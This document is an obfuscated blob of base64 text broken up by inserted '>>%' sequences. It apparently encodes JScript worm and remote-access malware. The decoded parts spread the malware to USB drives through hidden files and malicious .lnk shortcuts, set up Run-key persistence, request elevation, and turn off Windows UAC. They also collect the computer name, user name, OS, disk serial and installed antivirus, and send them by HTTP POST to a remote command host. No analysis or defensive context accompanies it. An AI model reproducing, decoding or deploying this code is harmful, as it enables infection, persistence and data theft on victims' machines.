VoYldVdWRHOVZjSEJsY2tOaGMyVW9LU2w3Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb2dQU0J6YUdWc2JHOWlhaTVqY21WaGRHVlRhRzl5ZEdOMWRDaGtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lZ0t5Qm1hV3hsYm1GdFpWc3dYUz4+JXJJQ0l1Ykc1cklpazdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxuZHBibVJ2ZDFOMGVXeGxJRDBnTnpzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWRHRnlaMlYwVUdGMGFDPj4lOUlDSmpiV1F1WlhobElqc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JzYm10dlltb3VkMjl5YTJsdVowUnBjbVZqZEc5eWVTPj4lOUlDSWlPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTVoY21kMWJXVnVkSE1nUFM+PiVpTDJNZ2MzUmhjblFnSWk+PiVySUdsdWMzUmhiR3h1WVcxbExuSmxjR3hoWTJVb2JtVjNJRkpsWjBWNGNDZ2lJQ0lzSUNKbklpa3NJQ0pjSWlCY0lpSXBJQ3NnSWlaemRHRnlkQz4+JWlJQ3NnWm1sc1pTNXVZVzFsTG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnaUlDSXNJQ0puSWlrc0lDSmNJaUJjSWlJcElDc2lKbVY0YVhRaU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSFJ5ZVh0bWFXeGxhV052Ymk+PiU5SUhOb1pXeHNiMkpxTGxKbFoxSmxZV1FnS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY1hITnZablIzWVhKbFhGeGpiR0Z6YzJWelhGd2lJQ3NnYzJobGJHeHZZbW91VW1WblVtVmhaQz4+JW9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnhjYzI5bWRIZGhjbVZjWEdOc1lYTnpaWE5jWEM0aUlDc2dabWxzWlM1dVlXMWxMbk53YkdsMEtDSXVJaWxiWm1sc1pTNXVZVzFsTG5Od2JHbDBLQ0l1SWlrdWJHVnVaM1JvSUMwZ01WMHJJQ0pjWENJcElDc2dJbHhjWkdWbVlYVnNkR2xqYjI1Y1hDSXBPeUI5WTJGMFkyZ29aV1ZsWlNsN2ZRb2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxhV052Ymk1cGJtUmxlRTltS0NJc0lpa2dQVDBnTUNsN0k+PiVvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWFXTnZia3h2WTJGMGFXOXVJRDBnWm1sc1pTNXdZWFJvT3dvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lIMWxiSE5sSUhzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ2JHNXJiMkpxTG1samIyNU1iMk5oZEdsdmJpPj4lOUlHWnBiR1ZwWTI5dU93b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJSDBLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCc2JtdHZZbW91YzJGMlpTZ3BPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdmUW9KQ1gxallYUmphQ2hsY25JcGUzMEtJQz4+JWdJSDBLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwwY25sN0Nna0pkbUZ5SUdadmJHUmxjaT4+JTlJR1pwTG1sMFpXMG9LVHNLSUM+PiVnSUM+PiVnSUNCcFppPj4lb2JHNXJabTlzWkdWeUlEMDlJR1poYkhObEtYdGljbVZoYXp0OUNpPj4lZ0lDPj4lZ0lDPj4lZ1ptOXNaR1Z5TG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdabTlzWkdWeWJtRnRaUz4+JTlJR1p2YkdSbGNpNXVZVzFsT3dvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk+PiU5SUhOb1pXeHNiMkpxTG1OeVpXRjBaVk5vYjNKMFkzVjBLR1J5YVhabExuQmhkR2dnS3k+PiVpWEZ3aUlDPj4lcklHWnZiR1JsY201aGJXVWdLeT4+JWlMbXh1YXlJcE95Pj4lS0lDPj4lZ0lDPj4lZ0lDQnNibXR2WW1vdWQybHVaRzkzVTNSNWJHVWdQUz4+JTNPd29nSUM+PiVnSUM+PiVnSUd4dWEyOWlhaTUwWVhKblpYUlFZWFJvSUQwZ0ltTnRaQzVsZUdVaU93b2dJQz4+JWdJQz4+JWdJR3h1YTI5aWFpNTNiM0pyYVc1blJHbHlaV04wYjNKNUlEMGdJaUk3Q2k+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbUZ5WjNWdFpXNTBjeT4+JTlJQ0l2WXlCemRHRnlkQz4+JWlJQ3NnYVc1emRHRnNiRzVoYldVdWNtVndiR0ZqWlNodVpYY2dVbVZuUlhod0tDSWdJaXdnSW1jaUtTd2dJbHdpSUZ3aUlpa2dLeT4+JWlKbk4wWVhKMElHVjRjR3h2Y21WeUlDSWdLeUJtYjJ4a1pYSXVibUZ0WlM1eVpYQnNZV05sS0c1bGR5QlNaV2RGZUg+PiVvSWk+PiVpTEM+PiVpWnlJcExDPj4laVhDSWdYQ0lpS1M+PiVySWlabGVHbDBJanNLSUM+PiVnSUM+PiVnSUNCbWIyeGtaWEpwWTI5dUlEMGdjMmhsYkd4dlltb3VVbVZuVW1WaFpDZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjWTJ4aGMzTmxjMXhjWm05c1pHVnlYRnhrWldaaGRXeDBhV052Ymx4Y0lpazdJPj4lb2dJQz4+JWdJQz4+JWdJR2xtSUNobWIyeGtaWEpwWTI5dUxtbHVaR1Y0VDJZb0lpd2lLUz4+JTlQUz4+JXdLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYkc1cmIySnFMbWxqYjI1TWIyTmhkR2x2Ymk+PiU5SUdadmJHUmxjaTV3WVhSb093b2dJQz4+JWdJQz4+JWdJSDFsYkhObElIc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdiRzVyYjJKcUxtbGpiMjVNYjJOaGRHbHZiaT4+JTlJR1p2YkdSbGNtbGpiMjQ3Q2k+PiVnSUM+PiVnSUM+PiVnZlFvZ0lDPj4lZ0lDPj4lZ0lHeHVhMjlpYWk1ellYWmxLQ2s3Q2drSmZXTmhkR05vS0dWeWNpbDdmUW9nSUM+PiVnZlFwOUNuMEtmUXA5Q24wS0NtWjFibU4wYVc5dUlITjBZWEowZFhCRmJHVjJZWFJsS0NsN0NnbHBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1hSeWVYc0tDUWtKVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0lsTm9aV3hzTGtGd2NHeHBZMkYwYVc5dUlpa3VVMmhsYkd4RmVHVmpkWFJsS0NKM2MyTnlhWEIwTG1WNFpTSXNJQ0lnTHk5Q0lGd2lJaT4+JXJJRmRUWTNKcGNIUXVVMk55YVhCMFJuVnNiRTVoYldVZ0t5Pj4laVhDSWdMMlZzWlhaaGRHVmtJaXdnSWlJc0lDSnlkVzVoY3lJc0lERXBPd29KQ1gxallYUmphQ2h1YmlsN0Nna0pmUW9KQ1ZkVFkzSnBjSFF1Y1hWcGRDZ3BPd29KZlFwOUNncG1kVzVqZEdsdmJpQmthWE5oWW14bFUyVmpkWEpwZEhrb0tYc0tDV2xtS0ZkVFkzSnBjSFF1UVhKbmRXMWxiblJ6TGs1aGJXVmtMa1Y0YVhOMGN5Z2laV3hsZG1GMFpXUWlLUz4+JTlQU0IwY25WbEtYc0tDUWwyWVhJZ2IxSmxaeT4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdSbFptRjFiSFE2VTNSa1VtVm5VSEp2ZGlJcE93b0pDVzlTWldjdVUyVjBSSGR2Y21SV1lXeDFaU2d3ZURnd01EPj4ld01EPj4leUxDSlRUMFpVVjBGU1JWeGNUV2xqY205emIyWjBYRnhYYVc1a2IzZHpYRnhEZFhKeVpXNTBWbVZ5YzJsdmJseGNVRzlzYVdOcFpYTmNYRk41YzNSbGJTSXNJa1Z1WVdKc1pVeFZRU0lzSUQ+PiVwT3dvSkNXOVNaV2N1VTJWMFJIZHZjbVJXWVd4MVpTZ3dlRGd3TUQ+PiV3TUQ+PiV5TENKVFQwWlVWMEZTUlZ4Y1RXbGpjbTl6YjJaMFhGeFhhVzVrYjNkelhGeERkWEp5Wlc1MFZtVnljMmx2Ymx4Y1VHOXNhV05wWlhOY1hGTjVjM1JsYlNJc0lrTnZibk5sYm5SUWNtOXRjSFJDWldoaGRtbHZja0ZrYldsdUlpd2dNQ2s3Q2drSmIxSmxaeT4+JTlJRzUxYkd3N0NnbDlDbjBLQ21aMWJtTjBhVzl1SUhWdWFXNXpkR0ZzYkNncGV3cDBjbmw3Q25aaGNpQm1hV3hsYm1GdFpUc0tkbUZ5SUdadmJHUmxjbTVoYldVN0NuUnllWHNLSUM+PiVnSUhOb1pXeHNiMkpxTGxKbFowUmxiR1YwWlNnaVNFdEZXVjlEVlZKU1JVNVVYMVZUUlZKY1hITnZablIzWVhKbFhGeHRhV055YjNOdlpuUmNYSGRwYm1SdmQzTmNYR04xY25KbGJuUjJaWEp6YVc5dVhGeHlkVzVjWENJZ0t5QnBibk4wWVd4c2JtRnRaUzV6Y0d4cGRDZ2lMaUlwV3pCZEtUc0tJQz4+JWdJSE5vWld4c2IySnFMbEpsWjBSbGJHVjBaU2dpU0V0RldWOU1UME5CVEY5TlFVTklTVTVGWEZ4emIyWjBkMkZ5WlZ4Y2JXbGpjbTl6YjJaMFhGeDNhVzVrYjNkelhGeGpkWEp5Wlc1MGRtVnljMmx2Ymx4Y2NuVnVYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXVjM0JzYVhRb0lpNGlLVnN3WFNrN0NuMWpZWFJqYUNobGFTbDdmUXAwY25sN0NtWnBiR1Z6ZVhOMFpXMXZZbW91WkdWc1pYUmxSbWxzWlNoemRHRnlkSFZ3SUNzZ2FXNXpkR0ZzYkc1aGJXVWdMSFJ5ZFdVcE93cG1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb1YxTmpjbWx3ZEM1elkzSnBjSFJHZFd4c1RtRnRaUz4+JXNkSEoxWlNrN0NuMWpZWFJqYUNobFpXb3BlMzBLWm05eUtIWmhjaUJrY21rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbVJ5YVhabGN5azdJQ0ZrY21rdVlYUkZibVFvS1RzZ1pISnBMbTF2ZG1WT1pYaDBLQ2twZXdwMllYSWdaSEpwZG1VZ1BTQmtjbWt1YVhSbGJTZ3BPd3BwWmk+PiVvWkhKcGRtVXVhWE55WldGa2VTPj4lOVBTQjBjblZsS1hzS2FXWWdLR1J5YVhabExtWnlaV1Z6Y0dGalpTPj4lK0lEPj4lZ0tYc0thV1lnS0dSeWFYWmxMbVJ5YVhabGRIbHdaUz4+JTlQUz4+JXhJQ2w3Q2dsbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSbWIyeGtaWElvWkhKcGRtVXVjR0YwYUM+PiVySUNKY1hDSXBMbVpwYkdWektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnSUM+PiVnSUNCMllYSWdabWxzWlM+PiU5SUdacExtbDBaVzBvS1RzS0NRa2dkSEo1ZXdvZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9abWxzWlM1dVlXMWxMbWx1WkdWNFQyWW9JaTRpS1NsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9LR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwVzJacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcExteGxibWQwYUM+PiV0SURGZEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUNFOUlDSnNibXNpS1hzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4ld093b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWRHOVZjSEJsY2tOaGMyVW9LUz4+JWhQU0JwYm5OMFlXeHNibUZ0WlM1MGIxVndjR1Z5UTJGelpTZ3BLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaVzVoYldWYk1GMGdLeT4+JWlMbXh1YXlJZ0tUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Wld4elpYc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaUzV1WVcxbEtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCOVpXeHpaWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCbWFXeGxjM2x6ZEdWdGIySnFMbVJsYkdWMFpVWnBiR1VnS0dacGJHVXVjR0YwYUNrN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdJSDBLQ1FrZ2ZXTmhkR05vS0dWNEtYdDlDaT4+JWdJQz4+JWdmUW9KSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwyWVhJZ1ptOXNaR1Z5SUQwZ1pta3VhWFJsYlNncE93b2dJQz4+JWdJQz4+JWdJQ0JtYjJ4a1pYSXVZWFIwY21saWRYUmxjeT4+JTlJRD4+JTdDaT4+JWdJQz4+JWdmUXA5Q24wS2ZRcDlDbjFqWVhSamFDaGxjbklwZTMwS1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q24wS0NtWjFibU4wYVc5dUlIQnZjM1FnS0dOdFpDPj4lc2NHRnlZVzBwZXdwMGNubDdDbWgwZEhCdlltb3ViM0JsYmlnaWNHOXpkQ0lzSW1oMGRIPj4lNkx5OGlJQ3NnYUc5emRDPj4lcklDSTZJaT4+JXJJSEJ2Y25RZ0t5SXZJaT4+JXJJR050WkN3Z1ptRnNjMlVwT3dwb2RIUndiMkpxTG5ObGRGSmxjWFZsYzNSSVpXRmtaWElvSW5WelpYSXRZV2RsYm5RNklpeHBibVp2Y20xaGRHbHZiaWdwS1RzS2FIUjBjRzlpYWk1elpXNWtLSEJoY21GdEtUc0tjbVYwZFhKdUlHaDBkSEJ2WW1vdWNtVnpjRzl1YzJWVVpYaDBPd3A5WTJGMFkyZ29aWEp5S1hzS0NYSmxkSFZ5Ymk+PiVpSWpzS2ZRcDlDZ3BtZFc1amRHbHZiaUJwYm1admNtMWhkR2x2YmlncGV3cDBjbmw3Q21sbUlDaHBibVlnUFQwZ0lpSXBld29nSUM+PiVnYVc1bUlEMGdhSGRwWkNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVmpiMjF3ZFhSbGNtNWhiV1VsSWlrZ0t5QnpjR3hwZEdWeUlEc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVjFjMlZ5Ym1GdFpTVWlLUz4+JXJJSE53YkdsMFpYSTdDZ29nSUM+PiVnZG1GeUlISnZiM1FnUFNCSFpYUlBZbXBsWTNRb0luZHBibTFuYlhSek9udHBiWEJsY25OdmJtRjBhVzl1YkdWMlpXdzlhVzF3WlhKemIyNWhkR1Y5SVZ4Y1hGd3VYRnh5YjI5MFhGeGphVzEyTWlJcE93b2dJQz4+JWdkbUZ5SUc5eklEMGdjbTl2ZEM1RmVHVmpVWFZsY25rZ0tDSnpaV3hsWTNRZ0tpQm1jbTl0SUhkcGJqTXlYMjl3WlhKaGRHbHVaM041YzNSbGJTSXBPd29nSUM+PiVLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lodmN5azdJQ0ZtYVM1aGRFVnVaQ2dwT3lCbWFTNXRiM1psVG1WNGRDZ3BLWHNLQ1FsMllYSWdiM05wYm1adklEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnYVc1bUlEMGdhVzVtSUNzZ2IzTnBibVp2TG1OaGNIUnBiMjRnS3lCemNHeHBkR1Z5T3k+PiVnQ2k+PiVnSUM+PiVnSUNCaWNtVmhhenNLSUM+PiVnSUgwS0lDPj4lZ0lHbHVaaT4+JTlJR2x1Wmk+PiVySUNKd2JIVnpJaT4+JXJJSE53YkdsMFpYSTdDaT4+JWdJQ0JwYm1ZZ1BTQnBibVlnS3lCelpXTjFjbWwwZVNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lcklIVnpZbk53Y21WaFpHbHVaenNLSUM+PiVnSUdsdVppPj4lOUlDSlhVMGhTUVZRaUlDc2djM0JzYVhSbGNpPj4lcklHbHVaaT4+JXJJSE53YkdsMFpYSWdLeT4+JWlTbUYyWVZOamNtbHdkQzEyTVM0MklpPj4lN0NpPj4lZ0lDQnlaWFIxY200Z2FXNW1Pd3A5Wld4elpYc0tJQz4+JWdJSEpsZEhWeWJpQnBibVk3Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSFZ3YzNSaGNuUWdLQ2w3Q25SeWVYc0tkSEo1ZXdvZ0lDPj4lZ2MyaGxiR3h2WW1vdVVtVm5WM0pwZEdVb0lraExSVmxmUTFWU1VrVk9WRjlWVTBWU1hGeHpiMlowZDJGeVpWeGNiV2xqY205emIyWjBYRngzYVc1a2IzZHpYRnhqZFhKeVpXNTBkbVZ5YzJsdmJseGNjblZ1WEZ3aUlDc2dhVzV6ZEdGc2JHNWhiV1V1YzNCc2FYUW9JaTRpS1Zzd1hTd2dJQ0ozYzJOeWFYQjBMbVY0WlM+PiV2TDBJZ1hDSWlJQ3NnYVc1emRHRnNiR1JwY2k+PiVySUdsdWMzUmhiR3h1WVcxbElDc2dJbHdpSWk+PiVzSUNKU1JVZGZVMW9pS1RzS0lDPj4lZ0lITm9aV3hzYjJKcUxsSmxaMWR5YVhSbEtDSklTMFZaWDB4UFEwRk1YMDFCUTBoSlRrVmNYSE52Wm5SM1lYSmxYRnh0YVdOeWIzTnZablJjWEhkcGJtUnZkM05jWEdOMWNuSmxiblIyWlhKemFXOXVYRnh5ZFc1Y1hDSWdLeUJwYm5OMFlXeHNibUZ0WlM1emNHeHBkQ2dpTGlJcFd6QmRMQz4+JWdJbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUlDd2dJbEpGUjE5VFdpSXBPd3A5WTJGMFkyZ29aV2twZTMwS1ptbHNaWE41YzNSbGJXOWlhaTVqYjNCNVJtbHNaU2hYVTJOeWFYQjBMbk5qY21sd2RFWjFiR3hPWVcxbExDQnBibk4wWVd4c1pHbHlJQ3NnYVc1emRHRnNiRzVoYldVc0lIUnlkV1VwT3dwbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVc0lITjBZWEowZFg+PiVnS3lCcGJuTjBZV3hzYm1GdFpTd2dkSEoxWlNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS0NtWjFibU4wYVc5dUlHaDNhV1FvS1hzS2RISjVld3AyWVhJZ2NtOXZkQz4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmthWE5yY3k+PiU5SUhKdmIzUXVSWGhsWTFGMVpYSjVJQ2dpYzJWc1pXTjBJQ29nWm5KdmJTQjNhVzR6TWw5c2IyZHBZMkZzWkdsemF5SXBPd3BtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWkdsemEzTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2FYTnJJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2FXWWdLR1JwYzJzdWRtOXNkVzFsVTJWeWFXRnNUblZ0WW1WeUlDRTlJQ0lpS1hzS0lDPj4lZ0lDPj4lZ0lDQnlaWFIxY200Z1pHbHpheTUyYjJ4MWJXVlRaWEpwWVd4T2RXMWlaWEk3Q2k+PiVnSUM+PiVnSUM+PiVnWW5KbFlXczdDaT4+JWdJQ0I5Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSE5sWTNWeWFYUjVLQ2w3Q25SeWVYc0tkbUZ5SUc5aWFuZHRhWE5sY25acFkyVWdQU0JIWlhSUFltcGxZM1FvSW5kcGJtMW5iWFJ6T250cGJYQmxjbk52Ym1GMGFXOXViR1YyWld3OWFXMXdaWEp6YjI1aGRHVjlJVnhjWEZ3dVhGeHliMjkwWEZ4amFXMTJNaUlwT3dwMllYSWdZMjlzYVhSbGJYTWdQU0J2WW1wM2JXbHpaWEoyYVdObExrVjRaV05SZFdWeWVTZ2ljMlZzWldOMElDb2dabkp2YlNCM2FXNHpNbDl2Y0dWeVlYUnBibWR6ZVhOMFpXMGlMRzUxYkd3c05EZ3BPd29LZG1GeUlIWmxjbk5wYjI1emRISXNJRzl6ZG1WeWMybHZianNLWm05eUtIWmhjaUJtYVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR052YkdsMFpXMXpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ2RtRnlJRzlpYW1sMFpXMGdQU0JtYVM1cGRHVnRLQ2s3Q2k+PiVnSUNCMlpYSnphVzl1YzNSeUlEMGdiMkpxYVhSbGJTNTJaWEp6YVc5dUxuUnZVM1J5YVc1bktDa3VjM0JzYVhRb0lpNGlLVHNLZlFvS0x5OTJaWEp6YVc5dWMzUnlJRDBnWTI5c2FYUmxiWE11ZG1WeWMybHZiaTV6Y0d4cGRDZ2lMaUlwT3dwdmMzWmxjbk5wYjI0Z1BTQjJaWEp6YVc5dWMzUnlXekJkSUNzZ0lpNGlPd3BtYjNJZ0tIWmhjaUI0SUQwZ01Uc2dlQz4+JThJSFpsY25OcGIyNXpkSEl1YkdWdVozUm9PeUI0S3lzcGV3b0pJRzl6ZG1WeWMybHZiaT4+JTlJRzl6ZG1WeWMybHZiaT4+JXJJSFpsY25OcGIyNXpkSEpiTUYwN0NuMEtDbTl6ZG1WeWMybHZiaT4+JTlJR1YyWVd3b2IzTjJaWEp6YVc5dUtUc0tkbUZ5SUhOak93cHBaaT4+JW9iM04yWlhKemFXOXVJRDRnTmlsN0lITmpJRDBnSW5ObFkzVnlhWFI1WTJWdWRHVnlNaUk3SUgxbGJITmxleUJ6WXk+PiU5SUNKelpXTjFjbWwwZVdObGJuUmxjaUk3ZlFvS2RtRnlJRzlpYW5ObFkzVnlhWFI1WTJWdWRHVnlJRDBnUjJWMFQySnFaV04wS0NKM2FXNXRaMjEwY3pwY1hGeGNiRzlqWVd4b2IzTjBYRnh5YjI5MFhGd2lJQ3NnYzJNcE93cDJZWElnWTI5c1lXNTBhWFpwY25WeklEMGdiMkpxYzJWamRYSnBkSGxqWlc1MFpYSXVSWGhsWTFGMVpYSjVLQ0p6Wld4bFkzUWdLaUJtY205dElHRnVkR2wyYVhKMWMzQnliMlIxWTNRaUxDPj4laWQzRnNJaXdnTUNrN0NuWmhjaUJ6WldOMUlEMGdJaUk3Q21admNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2loamIyeGhiblJwZG1seWRYTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDZ2wyWVhJZ2IySnFZVzUwYVhacGNuVnpJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2MyVmpkUz4+JTlJSE5sWTNVZ0lDc2diMkpxWVc1MGFYWnBjblZ6TG1ScGMzQnNZWGxPWVcxbElDc2dJaT4+JXVJanNLZlFwcFppaHpaV04xSUQwOUlDSWlLWHR6WldOMUlEMGdJbTVoYmkxaGRpSTdmUXB5WlhSMWNtNGdjMlZqZFRzS2ZXTmhkR05vS0dWeWNpbDdmUXA5Q21aMWJtTjBhVzl1SUdkbGRFUmhkR1VvS1hzS0lDPj4lZ0lIWmhjaUJ6SUQwZ0lpSTdDaT4+JWdJQ0IyWVhJZ1pDPj4lOUlHNWxkeUJFWVhSbEtDazdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JUtJQz4+JWdJSE1nS3owZ1pDNW5aWFJFWVhSbEtDa2dLeT4+JWlMeUk3SUM+PiVnSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnY3k+PiVyUFM+PiVvWkM1blpYUk5iMjUwYUNncElDc2dNU2tnS3k+PiVpTHlJN0k+PiVvZ0lDPj4lZ2N5Pj4lclBTQmtMbWRsZEZsbFlYSW9LVHNLSUM+PiVnSUhKbGRIVnliaUJ6T3k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVLZlFwbWRXNWpkR2x2YmlCcGJuTjBZVzVqWlNncGV3cDBjbmw3Q25SeWVYc0tkWE5pYzNCeVpXRmthVzVuSUQwZ2MyaGxiR3h2WW1vdVVtVm5VbVZoWkNnaVNFdEZXVjlNVDBOQlRGOU5RVU5JU1U1RlhGeHpiMlowZDJGeVpWeGNJaT4+JXJJR2x1YzNSaGJHeHVZVzFsTG5Od2JHbDBLQ0l1SWlsYk1GMGdLeT4+JWlYRndpS1RzS2ZXTmhkR05vS0dWbFpTbDdmUXBwWmloMWMySnpjSEpsWVdScGJtY2dQVDBnSWlJcGV3b2dJQ0JwWmk+PiVvVjFOamNtbHdkQzV6WTNKcGNIUkdkV3hzVG1GdFpTNXpkV0p6ZEhJb01Ta3VkRzlNYjNkbGNr